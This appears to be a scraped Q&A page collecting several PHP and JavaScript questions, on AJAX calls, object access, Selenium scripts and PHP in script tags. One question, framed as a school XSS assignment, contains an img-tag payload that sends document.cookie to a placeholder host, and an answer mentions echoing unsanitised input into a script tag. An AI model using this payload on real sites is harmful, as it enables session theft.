Help with PHP and AJAX - php

Suppose i need to invoke a function (php) from inside a js function using AJAX, is the
following syntax correct:
$.post("phpReceivingFile.php", {func: (name: "james")}
....
....

No, it won't work, you can't invoke specific php functions like that. I suggest sending a get parameter and inside your php do something like:
if($_GET['func'] == 'yourfunction') yourfunction($_GET['name']);

You might want to have a look at this short php/ajax tutorial to see how you get the variables sent to a php script.

Related

Accessing Object in PHP

I've some strange issues with some php code.
if ($user->userType=='admin'){
If I use the above command, the php engine just stop interpreting and display the code in plain text on my browser. On the other hand if I use the below method it works:
if ($user['userType']=='admin'){
Again here also:
$_SESSION['currentUser']->id
If I use the above code it just displays the rest of code as plain text:
id); // fail user }else{ $authentication="failed"; $noAuthPresentation="loginForm"; }
Why this is happening? It's a big project and I don't want to change every line where there is an occurrence of ->.
Do I need to change some setting somewhere? I'm using WAMP server with php 5.5.12.
Any help ? Thanks!
You're mixing up types, user is an array, and not an object. Something in your php config is doing something strange to your error display it seems. Right click on the page that has the errors, and view source if possible.
Does login.php contain html and php code by chance?

Pass $.variable in url

I would like to pass a variable as a value to a website. (Doing a school assignment on XSS)
For example I currently have:
$.cookie('echat') and $.cookie('PHPSESSID')
I would like to pass it into a link say:
xxxx.com/xxx.php?cookie=$.cookie('PHPSESSID')
However, nothing is pass to xxxx.com/xxx.php
Any1 know the syntax to do this?
specifically i am placing a img tag like this to exploit:
&lt img src='http://xxxxx.com/xxxxx.php?cookie='+document.cookie&gt
Apparently, document.cookie is not working and I need $.cookie('PHPSESSID') to get the PHPID
Your URL is setting the value of $_GET['cookie'] to $.cookie('PHPSESSID') in your PHP script, nothing more. How that's handled is up to PHP.
Since that looks like JavaScript (specifically, the jQuery Cookie plugin), you could conceivably do echo "<script>{$_GET['cookie']}</script>"; in your PHP to spit it out as JS on the resulting page. As you hopefully know from your classes, blindly using user-submitted data like this is dangerous and a bad idea.
use this php function
url_encode("string")
such as
http://www.xxxxx.com/xxx.php?cookie=<?php echo url_encode("$.cookie('PHPSESSID')"); ?>

How to run large Javascript code in Selenium, php?

I am using Selenium version 1, with PHP. I need to execute a large Javascript code snippet. When I use the runScript() function, it gives me this error:
Request URI Too Large
How can I handle this? Or is it possible to include it as an external js file but run it as well at once? I have tried using the addScript() function, that contains my js code, but it did not work. I have also tried to include my all code in a function like this:
function executeMyCode() {
// all my code here
}
And then include it with addScript(), and then use runScript() like this: $this->selenium->runScript('executeMyCode()').
But it did not work either.
Thanks.

How to use decodeURIComponent in JS in Facebook?

I am trying to use decodeURIComponent in a JS function inside Facebook instead of using urldecode in PHP. But I keep getting the following error :
Error: a194182563946198_decodeURIComponent is not defined
Can anyone kindly help ?
Thanks.
-
Ahsan
On a second thought, I am using a PHP intermediate file that does the work on ajax call. :)
-
ahsan

PHP in HTML <Script>

I was viewing a Appcelerator Titanium Video Tutorial and I saw they used syntax like
<script type="text/php">
...
global $window, $document;
mysql_connect(...) or die $window->alert('...');
$document.getElementById('xxx');
...
</script>
so I have a few questions. Is it any difference if I use <?php ?>
without setting $window and $document - won't they be "unset" variables?
I guess I can use (basic, not jQuery for example) Javascript functions like alert and getElementById() in PHP too?
In this case, they can only be "undefined", not "unset". However, they have "global" prefix, so there is a chance they are defined in some other code, possibly even outside your file.
$window->alert(...) probably outputs HTML that reads as javascript alert or a similar function.
You cannot use javascript alert() in PHP, because it is not PHP function.
As far as PHP is concerned, there is no JavaScript — only text.
$window and $document are just variables defined elsewhere in the PHP. $window appears to be an object with some methods that output text (text that happens to include JS syntax) while $document appears to be a string.
They will be undefined if they haven't been defined already.
You can write any JS function you like as normal text. If you want to use an object to generate it, then you need to have an object that is aware of that function.
For a regular web app, the code you're showing makes no sense whatsoever, because PHP runs on the server and JavaScript runs on the client. PHP is used to build the HTML code which forms the DOM tree on which JavaScript functions like getElementById() operate, so it's completely impossible to use them meaningfully within PHP code.
However, a cursory investigation reveals that Appcelerator Titanium is a sort of runtime that is meant to run applications using web technology completely on the client. In such a runtime, it is possible that the PHP code is running in the context of an already complete HTML DOM and interacts with it via JavaScript-like bridge functions. But that's completely different from how PHP normally works.

Categories